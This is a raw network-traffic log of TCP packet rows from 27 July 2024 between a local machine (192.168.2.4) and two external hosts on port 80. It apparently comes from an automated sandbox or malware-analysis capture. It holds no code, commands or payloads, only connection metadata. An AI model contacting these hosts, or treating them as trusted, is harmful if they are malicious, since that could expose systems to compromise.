Jul 27, 2024 05:39:10.312010050 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.568248987 CEST	49475	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:10.568545103 CEST	49478	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:10.573545933 CEST	80	49478	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:10.573648930 CEST	49478	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:10.573885918 CEST	49478	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:10.573940992 CEST	80	49475	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:10.574013948 CEST	49475	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:10.578742027 CEST	80	49478	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:10.579551935 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.584367037 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.764864922 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.764919043 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.764957905 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.765110970 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.765189886 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.765223980 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.765254021 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.765256882 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.765290976 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.765292883 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.765311003 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.765325069 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.765341043 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.765377998 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.765732050 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.765784025 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.765794992 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.765839100 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.765839100 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.765873909 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.765902996 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.765906096 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.765930891 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.765958071 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.848747015 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.848784924 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.848834991 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.848866940 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.848862886 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.848901033 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.848933935 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.848937035 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.848937035 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.848937035 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.848967075 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.848990917 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.848992109 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.849000931 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.849018097 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.849037886 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.849054098 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.849096060 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.859338999 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.859373093 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.859416962 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.859433889 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.859456062 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.859466076 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.859477997 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.859503984 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.859527111 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.859535933 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.859560966 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.859569073 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.859582901 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.859601974 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.859628916 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.859636068 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.859652996 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.859685898 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.859698057 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.859719992 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.859750986 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.859752893 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.859772921 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.859782934 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.859806061 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.859814882 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.859848976 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.859855890 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.859878063 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.859879971 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.859903097 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.859911919 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.859931946 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.859972000 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.930728912 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.930764914 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.930799961 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.930819988 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.930859089 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.930860043 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.930934906 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.930968046 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.931000948 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.931003094 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.931021929 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.931046963 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.931057930 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.931082964 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.931113958 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.931114912 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.931169033 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.931205034 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.938899040 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.938951969 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.938982964 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.938997030 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.939018011 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.939054012 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.939054012 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.939069986 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.939083099 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.939136028 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.939270020 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.939359903 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.939424038 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.939472914 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.939481020 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.939507008 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.939526081 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.939541101 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.939558029 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.939574003 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.939591885 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.939625978 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.940315962 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.940377951 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.940381050 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.940411091 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.940429926 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.940460920 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.940462112 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.940516949 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.940547943 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.940567017 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.941135883 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.941200018 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.945800066 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.945871115 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.945916891 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.945947886 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.945976019 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.945982933 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.945998907 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.946017027 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.946038008 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.946050882 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.946064949 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.946104050 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.946213007 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.946260929 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.946271896 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.946305990 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.946449995 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.946496964 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.946507931 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.946530104 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.946551085 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.946561098 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.946578979 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.946599960 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.946623087 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.946633101 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.946650028 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.946681023 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.947384119 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.947416067 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.947464943 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.947495937 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.947530031 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.947561979 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.947563887 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.947628021 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.948235035 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.948266029 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.948292971 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.948298931 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.948317051 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.948333979 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:10.948347092 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:10.948384047 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.020658016 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.020714998 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.020735025 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.020747900 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.020766973 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.020780087 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.020798922 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.020811081 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.020917892 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.025593042 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.025625944 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.025657892 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.025661945 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.025700092 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.025723934 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.025979996 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.026029110 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.026045084 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.026062965 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.026083946 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.026094913 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.026122093 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.026129961 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.026154995 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.026191950 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.026202917 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.026254892 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.026274920 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.026323080 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.029695988 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.029769897 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.029841900 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.029874086 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.029906034 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.029906988 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.029928923 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.029938936 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.029966116 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.029973030 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.029989958 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.030004978 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.030028105 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.030038118 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.030061007 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.030071974 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.030100107 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.030132055 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.030318022 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.030349970 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.030381918 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.030383110 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.030402899 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.030414104 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.030437946 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.030447960 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.030472040 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.030481100 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.030503988 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.030514002 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.030541897 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.030546904 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.030571938 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.030580997 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.030607939 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.030641079 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.031158924 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.031224966 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.031235933 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.031267881 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.031301975 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.031318903 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.031318903 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.031353951 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.031378984 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.031388044 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.031413078 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.031421900 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.031446934 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.031455994 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.031475067 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.031491041 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.031513929 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.031548023 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.032021999 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.032084942 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.036127090 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.036175966 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.036207914 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.036218882 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.036243916 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.036259890 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.036278009 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.036293983 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.036325932 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.036330938 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.036351919 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.036386013 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.036602020 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.036652088 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.036675930 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.036701918 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.036703110 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.036736965 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.036770105 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.036771059 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.036787987 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.036802053 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.036834002 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.036834002 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.036851883 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.036865950 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.036890030 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.036900043 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.036914110 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.036963940 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.037597895 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.037630081 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.037661076 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.037684917 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.037693977 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.037705898 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.037724972 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.037728071 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.037744999 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.037760973 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.037792921 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.037800074 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.037820101 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.037827969 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.037851095 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.037862062 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.037889004 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.037934065 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.038415909 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.038466930 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.038479090 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.038516045 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.038521051 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.038548946 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.038582087 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.038584948 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.038605928 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.038614035 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.038640976 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.038646936 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.038681030 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.038681030 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.038702011 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.038716078 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.038748980 CEST	49477	80	192.168.2.4	85.28.47.31
